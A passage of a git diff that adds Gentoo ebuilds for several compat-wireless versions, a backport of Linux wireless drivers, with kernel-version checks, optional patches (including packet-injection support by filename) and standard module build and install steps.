+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+#		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot."
+	einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild
new file mode 100644
index 00000000..88253317
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild
@@ -0,0 +1,176 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~arm amd64 x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or	USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+		linux_chkconfig_present NET_ETHERNET || die "You need to enable	CONFIG_NET_ETHERNET or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/make-make.patch
+
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	#epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#Linville finally stepped in and offered this patch so we are testing it
+	#epatch "${FILESDIR}"/linville-aircrack-ng.patch
+
+        #johill
+        epatch "${FILESDIR}"/johill-negone-paul.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+#		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot."
+	einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild b/net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild
new file mode 100644
index 00000000..61952b89
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild
@@ -0,0 +1,176 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or	USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+		linux_chkconfig_present NET_ETHERNET || die "You need to enable	CONFIG_NET_ETHERNET or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/make-make.patch
+
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	#epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#Linville finally stepped in and offered this patch so we are testing it
+	#epatch "${FILESDIR}"/linville-aircrack-ng.patch
+
+	#johill
+	epatch "${FILESDIR}"/johill-negone-paul.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+#		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot."
+	einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.2.ebuild b/net-wireless/compat-wireless/compat-wireless-3.2.ebuild
new file mode 100644
index 00000000..34087505
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.2.ebuild
@@ -0,0 +1,176 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-s"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or	USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+		linux_chkconfig_present NET_ETHERNET || die "You need to enable	CONFIG_NET_ETHERNET or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/make-make.patch
+
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	#epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#Linville finally stepped in and offered this patch so we are testing it
+	#epatch "${FILESDIR}"/linville-aircrack-ng.patch
+
+	#johill
+	epatch "${FILESDIR}"/johill-negone-paul.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+#		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot."
+	einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild
new file mode 100644
index 00000000..82d79610
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild
@@ -0,0 +1,170 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2-n"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND="!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20120219 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/make-make.patch
+
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
